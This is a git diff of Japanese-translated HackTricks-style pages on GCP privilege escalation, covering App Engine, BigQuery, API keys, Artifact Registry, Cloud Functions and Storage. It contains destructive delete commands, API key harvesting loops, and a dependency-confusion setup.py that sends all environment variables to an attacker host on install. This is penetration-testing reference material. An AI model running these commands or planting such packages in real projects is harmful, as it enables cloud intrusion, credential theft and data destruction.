||||
オブジェクトを削除するには:
|
||||
```bash
|
||||
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
|
||||
|
||||
バケットを削除するには:
|
||||
```bash
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
```
|
||||
### HMAC Keys を無効化
|
||||
|
||||
`storage.hmacKeys.update` permission は HMAC keys を無効化することを許可し、`storage.hmacKeys.delete` permission は Cloud Storage の service accounts に関連付けられた HMAC keys を identity が削除できるようにします。
|
||||
```bash
|
||||
# Deactivate
|
||||
gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
|
||||
# Delete
|
||||
gcloud storage hmac delete <ACCESS_ID>
|
||||
```
|
||||
### `storage.buckets.setIpFilter` & `storage.buckets.update`
|
||||
`storage.buckets.setIpFilter` と `storage.buckets.update` の権限があれば、アイデンティティは Cloud Storage バケットの IP アドレスフィルタを設定でき、どの IP 範囲またはアドレスがバケットのリソースにアクセスできるかを指定できます。
|
||||
|
||||
IP フィルタを完全にクリアするには、次のコマンドを使用できます:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
フィルタリングされた IP を変更するには、次のコマンドを使用できます:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> \
|
||||
--ip-filter-file=ip-filter.json \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
JSON ファイルはフィルタ自体を表しており、次のようなものです:
|
||||
```bash
|
||||
{
|
||||
"mode": "Enabled",
|
||||
"publicNetworkSource": {
|
||||
"allowedIpCidrRanges": ["<IP>/<MASK>"]
|
||||
},
|
||||
"allowCrossOrgVpcs": false,
|
||||
"allowAllServiceAgentAccess": false
|
||||
}
|
||||
```
|
||||
### `storage.buckets.restore`
|
||||
次を使用してバケットを復元する:
|
||||
```bash
|
||||
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,87 +1,139 @@
|
||||
# GCP - Apikeys Privesc
|
||||
# GCP - AppEngine Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apikeys
|
||||
## App Engine
|
||||
|
||||
以下の権限は、API key を作成および盗用するのに役立ちます。ドキュメントからの注意事項: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
したがって、API key によりその会社に API の利用料を支払わせることはできますが、権限昇格はできません。
|
||||
|
||||
For more information about API Keys check:
|
||||
App Engineの詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For other ways to create API keys check:
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
これらは、**`gcloud` cli** を使って App をデプロイするために必要な権限です。おそらく **`get`** と **`list`** は **不要** かもしれません。
|
||||
|
||||
You can find python code examples in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
By default, the name of the App service is going to be **`default`**, and there can be only 1 instance with the same name.\
|
||||
To change it and create a second App, in **`app.yaml`**, change the value of the root key to something like **`service: my-second-app`**
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
少なくとも10~15分は待ってください。もし動作しない場合は、**deploy another of times** を実行して数分待ってください。
|
||||
|
||||
> [!NOTE]
|
||||
> 使用する Service Account を指定することは可能ですが、デフォルトでは App Engine default SA が使用されます。
|
||||
|
||||
アプリケーションの URL は次のような形式になります: `https://<proj-name>.oa.r.appspot.com/` または `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### 同等の権限を更新
|
||||
|
||||
AppEngine を新規作成する権限はなく、更新する権限だけある場合があります。その場合、現在の App Engine を更新する方法は次のとおりです:
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
|
||||
# Download code
|
||||
mkdir /tmp/appengine2
|
||||
cd /tmp/appengine2
|
||||
## In this case it was found in this custom bucket but you could also use the
|
||||
## buckets generated when the App Engine is created
|
||||
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
|
||||
unzip labs_appengine_1_premissions_privesc.zip
|
||||
|
||||
## Now modify the code..
|
||||
|
||||
## If you don't have an app.yaml, create one like:
|
||||
cat >> app.yaml <<EOF
|
||||
runtime: python312
|
||||
|
||||
entrypoint: gunicorn -b :\$PORT main:app
|
||||
|
||||
env_variables:
|
||||
A_VARIABLE: "value"
|
||||
EOF
|
||||
|
||||
# Deploy the changes
|
||||
gcloud app deploy
|
||||
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
もし**already compromised a AppEngine**で、権限**`appengine.applications.update`**と使用するサービスアカウントに対する**actAs**を持っている場合、AppEngine が使用するサービスアカウントを次のように変更できます:
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
これらの権限があれば、**login via ssh in App Engine instances** が **flexible**(**standard** ではない)タイプで可能です。 一部の **`list`** および **`get`** 権限は、実際には必須ではない場合があります。
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
これはアプリケーションをセットアップする際に google が使用するバックグラウンドの SA を変更するだけだと思います。したがって、これを悪用して service account を steal することはできないと思います。
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
これらの権限の使い方や有用性はよく分かりません(コードを変更すると新しいバージョンが作成されるため、単にコードやそのバージョンのIAMロールを更新できるかは不明ですが、おそらく可能だと思います。もしかするとbucket内のコードを変更することで??)。
|
||||
|
||||
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
|
||||
|
||||
テーブル、データセット、またはモデルを削除するには:
|
||||
```bash
|
||||
# Table removal
|
||||
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
|
||||
|
||||
# Dataset removal
|
||||
bq rm -r -f <PROJECT_ID>:<DATASET>
|
||||
|
||||
# Model removal
|
||||
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
|
||||
```
|
||||
### Scheduled Queries の悪用
|
||||
|
||||
`bigquery.datasets.get`、`bigquery.jobs.create`、および `iam.serviceAccounts.actAs` の権限があれば、アイデンティティは dataset のメタデータを照会し、BigQuery ジョブを起動し、より高い権限を持つ Service Account を使ってそれらを実行できます。
|
||||
|
||||
この攻撃により、悪意のある Scheduled Queries を用いてクエリを自動化(選択した Service Account の権限で実行)することが可能になります。例えば、これにより機密データが読み取られ、攻撃者がアクセスできる別の table や dataset に書き込まれることで、データを外部に抽出することなく間接的かつ継続的な exfiltration を促進する可能性があります。
|
||||
|
||||
攻撃者が目的のクエリを実行するために必要な権限を持つ Service Account を特定したら、その Service Account を使って実行される Scheduled Query 設定を作成し、結果を定期的に任意の dataset に書き込ませることができます。
|
||||
```bash
|
||||
bq mk \
|
||||
--transfer_config \
|
||||
--project_id=<PROJECT_ID> \
|
||||
--location=US \
|
||||
--data_source=scheduled_query \
|
||||
--target_dataset=<DEST_DATASET> \
|
||||
--display_name="Generic Scheduled Query" \
|
||||
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--schedule="every 10 minutes" \
|
||||
--params='{
|
||||
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
|
||||
"destination_table_name_template": "<destination_table>",
|
||||
"write_disposition": "WRITE_TRUNCATE"
|
||||
}'
|
||||
|
||||
```
|
||||
### バケットに対する書き込みアクセス
|
||||
|
||||
前述のとおり appengine versions は name フォーマットが `staging.<project-id>.appspot.com` のバケット内にいくつかのデータを生成します。GCP ユーザーはドメイン名 `appspot.com` を使ってバケットを生成する権限がないため、このバケットを事前に pre-takeover することはできません。
|
||||
|
||||
しかし、このバケットに対する読み取り & 書き込みアクセスがあれば、バケットを監視し、変更が行われるたびに可能な限り素早くコードを改変することで、AppEngine version に紐づいた SA に対して権限昇格を行うことが可能です。こうすることで、そのコードから作成されるコンテナは **backdoored code** を実行します。
|
||||
|
||||
詳細と **PoC** は下記のページの該当情報を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
### Artifact Registry に対する書き込みアクセス
|
||||
|
||||
プロジェクトでどの API が有効になっているか、または見つけた API key にどのような制限が適用されているかがわからない場合があるため、ツール [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) を実行して、**API key で何にアクセスできるか** を確認するのが有用です。
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
この権限は **API key を作成する** ことを許可します:
|
||||
|
||||
<details>
|
||||
<summary>gcloud を使って API key を作成</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
|
||||
> [!CAUTION]
|
||||
> デフォルトでは、ユーザーは新しいプロジェクトを作成する権限があり、作成したプロジェクトに対して Owner ロールが付与されることに注意してください。したがって、ユーザーは c**reate a project and an API key inside this project**。
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
これらの権限は **list and get all the apiKeys and get the Key** を許可します:
|
||||
|
||||
<details>
|
||||
<summary>すべての API keys を一覧・取得する</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
</details>
|
||||
|
||||
脆弱な環境の作成、エクスプロイト、クリーンアップを自動化するスクリプトは[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh)で入手できます。
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
これらの権限により、**削除された API キーを一覧表示および再生成**できます。**undelete** が実行されると、出力に**API キーが表示されます**:
|
||||
|
||||
<details>
|
||||
<summary>API キーの一覧表示と復元</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
</details>
|
||||
|
||||
### 他のワーカーをphishするための内部OAuthアプリケーションを作成する
|
||||
|
||||
方法については以下のページを確認してください。ただし、この操作はドキュメントによればサービス **`clientauthconfig`** に属します: [https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin)
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
App Engine が Artifact Registry 内に docker images を作成するにも関わらず、**サービス内のイメージを変更した場合でも** App Engine インスタンスを削除(つまり新しいインスタンスがデプロイされる)しても、**実行されるコードは変わらない** ということがテストで確認されました。\
|
||||
バケットの場合と同様に **Race Condition attack を行えば実行されるコードを上書きできる可能性がある** かもしれませんが、これはテストされていません。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
For more information about Artifact Registry check:
|
||||
Artifact Registryに関する詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,10 +12,10 @@ For more information about Artifact Registry check:
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
この権限があると、攻撃者はDockerイメージのような悪意あるコードを含むアーティファクトの新しいバージョンをアップロードできます:
|
||||
この権限があると、攻撃者はDocker imagesのような悪意のあるコードを含むアーティファクトの新しいバージョンをアップロードできます:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry に Docker イメージをアップロード</summary>
|
||||
<summary>Artifact RegistryにDocker imageをアップロード</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -29,22 +29,22 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 確認の結果、同じ名前とタグで新しい悪意のある docker イメージをアップロードすることが**可能**であるため、**古いイメージはタグを失い**、次回そのタグでイメージが**ダウンロードされると悪意のあるものがダウンロードされます**。
|
||||
> 既存のイメージと同じ名前とタグで新しい**悪意のあるdocker**イメージをアップロードできることが確認されました。そのため、**古いイメージはタグを失い**、次回そのタグでイメージをダウンロードすると**悪意のあるイメージがダウンロードされます**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Upload a Python library</summary>
|
||||
<summary>Pythonライブラリをアップロードする</summary>
|
||||
|
||||
**アップロードするライブラリを作成することから始めます**(registry から最新バージョンをダウンロードできる場合はこの手順は不要です):
|
||||
**まずアップロードするライブラリを作成します**(レジストリから最新バージョンをダウンロードできる場合、この手順は省略できます):
|
||||
|
||||
1. **プロジェクト構成を設定する**:
|
||||
|
||||
- ライブラリ用の新しいディレクトリを作成します(例: `hello_world_library`)。
|
||||
- このディレクトリ内に、パッケージ名のディレクトリを作成します(例: `hello_world`)。
|
||||
- パッケージディレクトリ内に `__init__.py` ファイルを作成します。空でも、パッケージの初期化を含めても構いません。
|
||||
- ライブラリ用の新しいディレクトリを作成します(例:`hello_world_library`)。
|
||||
- このディレクトリ内に、パッケージ名のディレクトリを作成します(例:`hello_world`)。
|
||||
- パッケージディレクトリ内に `__init__.py` ファイルを作成します。このファイルは空でも、パッケージの初期化を含めても構いません。
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
<summary>プロジェクト構成を作成</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -55,13 +55,13 @@ touch hello_world/__init__.py
|
||||
|
||||
</details>
|
||||
|
||||
2. **ライブラリコードを書く**:
|
||||
2. **ライブラリのコードを書く**:
|
||||
|
||||
- `hello_world` ディレクトリ内に、モジュール用の新しい Python ファイルを作成します(例: `greet.py`)。
|
||||
- 「Hello, World!」関数を書きます:
|
||||
- `hello_world` ディレクトリ内にモジュール用の新しいPythonファイルを作成します(例:`greet.py`)。
|
||||
- 「Hello, World!」関数を作成します:
|
||||
|
||||
<details>
|
||||
<summary>Create library module</summary>
|
||||
<summary>ライブラリモジュールを作成</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
@@ -73,11 +73,11 @@ return "Hello, World!"
|
||||
|
||||
3. **`setup.py` ファイルを作成する**:
|
||||
|
||||
- `hello_world_library` ディレクトリのルートに `setup.py` ファイルを作成します。
|
||||
- このファイルにはライブラリのメタデータと、Python にインストール方法を伝える情報が含まれます。
|
||||
- `hello_world_library` のルートに `setup.py` ファイルを作成します。
|
||||
- このファイルはライブラリのメタデータを含み、Pythonにインストール方法を伝えます。
|
||||
|
||||
<details>
|
||||
<summary>Create setup.py file</summary>
|
||||
<summary>setup.py ファイルを作成</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
@@ -99,10 +99,10 @@ install_requires=[
|
||||
|
||||
1. **パッケージをビルドする**:
|
||||
|
||||
- `hello_world_library` ディレクトリのルートから以下を実行します:
|
||||
- `hello_world_library` のルートから次を実行します:
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
<summary>Pythonパッケージをビルド</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
@@ -110,21 +110,21 @@ python3 setup.py sdist bdist_wheel
|
||||
|
||||
</details>
|
||||
|
||||
2. **twine の認証を設定する**(パッケージをアップロードするために使用):
|
||||
- `twine` をインストールしていることを確認します(`pip install twine`)。
|
||||
- 認証情報を設定するために `gcloud` を使用します:
|
||||
2. **twine の認証を設定する**(パッケージのアップロードに使用):
|
||||
- `twine` がインストールされていることを確認します(`pip install twine`)。
|
||||
- 認証情報を設定するには `gcloud` を使用します:
|
||||
|
||||
<details>
|
||||
<summary>Upload package with twine</summary>
|
||||
<summary>twine を使ってパッケージをアップロード</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
</details>
|
||||
|
||||
3. **ビルドをクリーンアップする**
|
||||
3. **ビルドのクリーンアップ**
|
||||
|
||||
<details>
|
||||
<summary>ビルド成果物をクリーンアップする</summary>
|
||||
<summary>ビルド成果物をクリーンアップ</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
@@ -133,25 +133,25 @@ rm -rf dist build hello_world.egg-info
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 既に存在するのと同じバージョンの python ライブラリをアップロードすることはできませんが、**より新しいバージョン**をアップロードすることは可能です(またはバージョンの末尾に **`.0` を追加**することで回避できる場合があります — ただし python では動作しないことがあります)、あるいは**最後のバージョンを削除して新しいものをアップロードする**こともできます(この場合 `artifactregistry.versions.delete` が必要です)。
|
||||
|
||||
<details>
|
||||
<summary>アーティファクトのバージョンを削除</summary>
|
||||
|
||||
```sh
|
||||
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
```
|
||||
|
||||
</details>
|
||||
> 既に存在するバージョンと同じバージョンのpythonライブラリをアップロードすることはできませんが、**greater versions**(もしくは可能ならバージョン末尾に追加の**`.0` at the end**を付ける — pythonでは動作しないことがあります)、または**delete the last version an upload a new one with**(`artifactregistry.versions.delete)`**:**
|
||||
>
|
||||
> <details>
|
||||
> <summary>アーティファクトのバージョンを削除</summary>
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
この権限があれば **アーティファクトをダウンロード** して、**機密情報** や **脆弱性** を検索できます。
|
||||
この権限があれば、**download artifacts**して**sensitive information**や**vulnerabilities**を検索できます。
|
||||
|
||||
Download a **Docker** image:
|
||||
**Docker** イメージをダウンロード:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry から Docker イメージをダウンロード</summary>
|
||||
<summary>Artifact Registryから**Docker**イメージをダウンロード</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -164,13 +164,13 @@ docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
**python** ライブラリをダウンロード:
|
||||
|
||||
<details>
|
||||
<summary>Artifact RegistryからPythonライブラリをダウンロード</summary>
|
||||
<summary>Artifact Registry から **python** ライブラリをダウンロード</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
</details>
|
||||
|
||||
- リモートと標準のレジストリが仮想レジストリ内で混在し、パッケージが両方に存在する場合はどうなりますか?次のページを確認してください:
|
||||
- リモートと標準のレジストリが仮想レジストリで混在し、同じパッケージが両方に存在する場合はどうなりますか?このページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -178,7 +178,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
レジストリからアーティファクト(例: Docker イメージ)を削除する:
|
||||
レジストリからアーティファクト(例: Docker イメージ)を削除する:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry から Docker イメージを削除</summary>
|
||||
@@ -190,7 +190,7 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
コンテンツがあってもリポジトリ全体を削除します:
|
||||
リポジトリ全体を削除する(コンテンツがあっても):
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry リポジトリを削除</summary>
|
||||
@@ -201,17 +201,71 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
この権限を持つ攻撃者は、前述のリポジトリに対する攻撃のいくつかを実行するための権限を自分に付与できる可能性があります。
|
||||
この権限を持つ攻撃者は、前述したいくつかのリポジトリに対する攻撃を実行するための権限を自身に付与することができる。
|
||||
|
||||
### Artifact Registry Read & Write を通じた他サービスへのピボット
|
||||
### Artifact Registry Read & Write を介した他サービスへのピボット
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
Cloud Function が作成されると、プロジェクトの Artifact Registry に新しい docker イメージがプッシュされます。イメージを新しいものに置き換えたり、現在のイメージ(および `cache` イメージ)を削除してみても何も変わらず、Cloud Function は動作し続けました。したがって、bucket と同様に実行される docker コンテナを変更するために**Race Condition attack を悪用できる可能性はあるかもしれません**が、**保存されているイメージを単に変更するだけでは Cloud Function を侵害することはできない**。
|
||||
Cloud Function が作成されると、新しい docker イメージがプロジェクトの Artifact Registry にプッシュされる。私はそのイメージを新しいものに置き換えたり、現在のイメージ(および `cache` イメージ)を削除してみたが、何も変わらず、Cloud Function は動作し続けた。したがって、バケットと同様に **Race Condition attack を悪用して実行される docker コンテナを変更できる可能性がある** が、**保存されたイメージを単に変更するだけでは Cloud Function を侵害することはできない**。
|
||||
|
||||
- **App Engine**
|
||||
|
||||
App Engine は Artifact Registry 内に docker イメージを作成します。テストの結果、**このサービス内のイメージを変更しても** App Engine インスタンスを削除(つまり新しいインスタンスがデプロイされる)しても、**実行されるコードは変わらない**ことが確認されました。\
|
||||
bucket と同様の **Race Condition attack によって実行されるコードを上書きできる可能性がある**かもしれませんが、これはテストしていません。
|
||||
App Engine は Artifact Registry 内に docker イメージを作成するが、**サービス内のイメージを変更して** App Engine インスタンスを削除(つまり新しいインスタンスがデプロイされる)しても、**実行されるコードは変わらない**。\
|
||||
バケットと同様の **Race Condition attack を行えば実行されるコードを上書きできる可能性** はあるかもしれないが、これはテストしていない。
|
||||
|
||||
### `artifactregistry.repositories.update`
|
||||
攻撃者がこの問題を悪用するために特定の Artifact Registry 権限は必要ない — 必要なのは脆弱な virtual-repository の構成だけである。これは、virtual repository がリモートの public repository(例: PyPI、npm)と内部リポジトリを結合しており、リモートソースの優先度が同等か高い場合に発生する。両方に同名のパッケージが存在する場合、システムは最も高いバージョンを選択する。攻撃者は内部パッケージ名を知っていて、対応する public registry にパッケージを公開できればよい。
|
||||
|
||||
`artifactregistry.repositories.update` 権限を持っていれば、攻撃者は virtual repository の upstream 設定を変更して意図的にこの脆弱な構成を作り、Dependency Confusion を永続化手段として利用し、開発者や CI/CD が自動的にインストールする可能性のある悪意のあるパッケージを挿入できる。
|
||||
|
||||
攻撃者は内部パッケージの悪意あるバージョンを public repository に高いバージョン番号で作成する。Python パッケージの場合、これは正規のものと類似したパッケージ構成を用意することを意味する。
|
||||
```bash
|
||||
mkdir /tmp/malicious_package
|
||||
cd /tmp/malicious_package
|
||||
PACKAGE_NAME="<package-name>"
|
||||
mkdir "$PACKAGE_NAME"
|
||||
touch "$PACKAGE_NAME/__init__.py"
|
||||
```
|
||||
その後、インストール時に実行される悪意のあるコードを含む setup.py ファイルが作成される。このファイルは private repository にあるものより高いバージョン番号を指定している必要がある。
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
from setuptools.command.install import install
|
||||
import os
|
||||
import urllib.request
|
||||
import urllib.parse
|
||||
|
||||
def malicious_function():
|
||||
data = dict(os.environ)
|
||||
encoded_data = urllib.parse.urlencode(data).encode()
|
||||
url = 'https://<ip-atacante>/exfil'
|
||||
req = urllib.request.Request(url, data=encoded_data)
|
||||
urllib.request.urlopen(req)
|
||||
|
||||
class AfterInstall(install):
|
||||
def run(self):
|
||||
install.run(self)
|
||||
malicious_function()
|
||||
|
||||
setuptools.setup(
|
||||
name = "<package-name>",
|
||||
version = "0.1.1",
|
||||
packages = ["<package-name>"],
|
||||
cmdclass={'install': AfterInstall},
|
||||
)
|
||||
EOF
|
||||
```
|
||||
パッケージをビルドし、wheel を削除して、インストール時にコードが実行されるようにします。
|
||||
```bash
|
||||
python3 setup.py sdist bdist_wheel
|
||||
rm dist/<package-name>*.whl
|
||||
```
|
||||
悪意のあるパッケージを公開リポジトリにアップロードする(例えば、test.pypi.org は Python 用)。
|
||||
```bash
|
||||
pip install twine
|
||||
twine upload --repository testpypi dist/*
|
||||
```
|
||||
システムやサービスが仮想リポジトリを使ってパッケージをインストールすると、悪意のあるバージョンの方が(バージョン番号等で)高く、リモートリポジトリの優先度が等しいかそれより高いため、正当な内部リポジトリのものではなく公開リポジトリから悪意のあるバージョンをダウンロードします。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,21 +12,19 @@ Cloud Functions に関する詳細情報:
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
これらの権限を持つ攻撃者は、**任意(悪意ある)コードを使って新しい Cloud Function を作成し、Service Account を割り当てる**ことができます。その後、メタデータから Service Account トークンを leak して、その権限にエスカレーションできます。\
|
||||
関数をトリガーするための追加の権限が必要な場合があります。
|
||||
これらの権限を持つ攻撃者は、**任意の(悪意のある)コードを含む新しい Cloud Function を作成し、それに Service Account を割り当てることができます**。その後、metadata から Service Account token を leak して、その権限を奪取します。\
|
||||
関数をトリガーするための追加権限が必要になる場合があります。
|
||||
|
||||
この手法のエクスプロイトスクリプトは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) と [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) で入手でき、事前ビルドされた .zip ファイルは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions) で入手できます。
|
||||
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
これらの権限を持つ攻撃者は、Function のコードを修正し、割り当てられた Service Account を変更してトークンを exfiltrating することさえできます。
|
||||
これらの権限を持つ攻撃者は、**Function のコードを変更し、割り当てられた service account までも変更して、token を exfiltrating することができます**。
|
||||
|
||||
